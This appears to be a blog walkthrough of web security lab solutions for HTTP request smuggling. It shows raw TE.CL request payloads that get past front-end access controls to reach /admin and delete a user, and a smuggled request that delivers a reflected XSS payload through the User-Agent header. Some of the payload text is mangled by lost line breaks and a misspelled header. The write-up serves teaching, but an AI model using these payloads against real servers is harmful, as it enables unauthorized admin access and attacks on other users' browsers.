HTTP request smuggling Explained and Exploited Part 0x3
Hi! My name is Hashar Mujahid, and today we will continue to discuss what HTTP request smuggling vulnerabilities are and how we can exploit them.
Hi, today we’re going to talk about how we can bypass the front-end security measures using HTTP request smuggling methods.
If you don't know what HTTP request smuggling is, I recommend you read my previous 2 blogs in this series.
Now we will continue where we left off!
The security controls can be implemented on both the front end and the back end of the application. Let’s consider a scenario where the application’s front end prevents the user from accessing some directories /admin due to this validation. The developer didn’t put any validation in the backend, so if the attacker is somehow able to bypass the front-end security, the backend will respond to him with the response to the request.
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.comThe front-end server sees two requests here, both for /home, and so the requests are forwarded to the backend server. However, the back-end server sees one request for /home and one request for /admin. It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL.
In part 2 we bypassed the security controls using a CL.TE attack. Now we will bypass security control using TE.CL attack.
Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability:
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
SOLUTION:
In the lab description, it is clearly stated that the front end supports transfer encoding: chunked but the backend server doesn’t. So access the lab and send the request to the burp repeater.
Change the request method to POST and remove the unnecessary headers.
Now we need to add our transfer encoding header. And also don't forget to add the trailing new lines.
We can see we are getting 200 ok response, Now we just need to figure out a way to request /admin which we can not access from the front end because of the security controls.
“Make sure update content length is disabled in repeater”
The next step is to create a Get request to /admin in our POST request’s body.
60 ==> SIZE OF OUR CHUNKED DATA
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
We can see the admin panel is only available to the local host. To bypass this situation we need to add another host header which has a value of
Payload:
71
POST /admin HTTP/1.1
HOST: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
Now we just need to delete the Carlos user.
87 GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 x=1
0
This payload will delete the Carlos user.
Now let's see how we can chain this vulnerability to induce XSS in the victim's browser.
Exploiting HTTP request smuggling to deliver reflected XSS
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
The application is also vulnerable to reflected XSS via the User-Agent header.
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).
SOLUTION :
We can see the frontend server doesn’t support chunked encoding so we wouldn't have to update the size of our chunked data. Let’s access the lab.
We have a view blog functionality in our blog let’s visit the view blog link and send this request to the repeater.
We can see our user agent value let's try to induce a self-xss to see if it is doable.
As long as it is self XSS its impact is very low let’s try to find a way to reflect it in the victim's browser.
Now click on the home page and send this request to the burp repeater.
- Change the request method
- Remove the extra headers
- Add
Transfer-Encodind: chunked - Add payload
Now we need to smuggle the previous request where we found the XSS.
0GET /post?postId=4 HTTP/1.1
Host: 0a1e00a504b50ac2c0a3b239009400f4.web-security-academy.net
User-Agent: "><img src=1 onerror=prompt(1)>
Content-Length: 5x=1
Add the above payload to our request. Send the request. Now when the victim visits it the XSS will trigger.
And our lab will be solved.
We learned how we can chain two different vulnerabilities and increase the impact of our findings.
In the next blog, we will see more techniques to exploit HTTP REQUEST SMUGGLING.
Till then Happy Hacking ❤!
